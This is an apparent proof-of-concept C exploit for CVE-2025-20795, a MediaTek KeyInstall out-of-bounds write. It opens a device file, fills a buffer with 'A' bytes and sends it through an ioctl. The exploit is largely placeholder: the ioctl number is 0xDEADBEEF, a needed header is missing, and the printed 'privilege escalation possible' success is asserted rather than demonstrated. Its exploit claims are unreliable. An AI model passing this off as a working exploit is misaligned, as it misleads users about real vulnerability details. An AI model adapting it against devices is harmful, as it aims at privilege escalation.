CVE-2025-20795

// CVE-2025-20795 PoC - MediaTek KeyInstall Out of Bounds Write // Note: This is a conceptual proof of concept for educational purposes only // Requires System privileges to exploit #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define KEYINSTALL_DEVICE "/dev/medialog-flash" #define MALICIOUS_PAYLOAD_SIZE 1024 // Trigger the vulnerability through KeyInstall interface int trigger_keyinstall_vulnerability() { int fd; char *exploit_buffer; char *legit_data; size_t buffer_size = MALICIOUS_PAYLOAD_SIZE; printf("[*] Opening KeyInstall device...\n"); fd = open(KEYINSTALL_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } // Prepare malicious payload that exceeds buffer boundary exploit_buffer = malloc(buffer_size); if (!exploit_buffer) { close(fd); return -1; } // Fill with controlled data to trigger out of bounds write memset(exploit_buffer, 0x41, buffer_size); printf("[*] Sending malicious payload to KeyInstall...\n"); printf("[*] Payload size: %zu bytes (exceeds intended boundary)\n", buffer_size); // This ioctl call triggers the vulnerable code path // Missing bounds check allows data to be written beyond buffer long ret = ioctl(fd, 0xDEADBEEF, exploit_buffer); if (ret < 0) { printf("[-] Exploit failed: %ld\n", ret); } else { printf("[+] Payload sent successfully\n"); printf("[+] Out of bounds write triggered\n"); printf("[+] System privilege escalation possible\n"); } free(exploit_buffer); close(fd); return ret; } int main(int argc, char *argv[]) { printf("==========================================\n"); printf("CVE-2025-20795 KeyInstall PoC\n"); printf("MediaTek Out of Bounds Write\n"); printf("Requires: System privileges\n"); printf("==========================================\n\n"); // Check if running with sufficient privileges if (geteuid() != 0) { printf("[-] This exploit requires root privileges\n"); return 1; } printf("[+] Running with root privileges\n"); return trigger_keyinstall_vulnerability(); }

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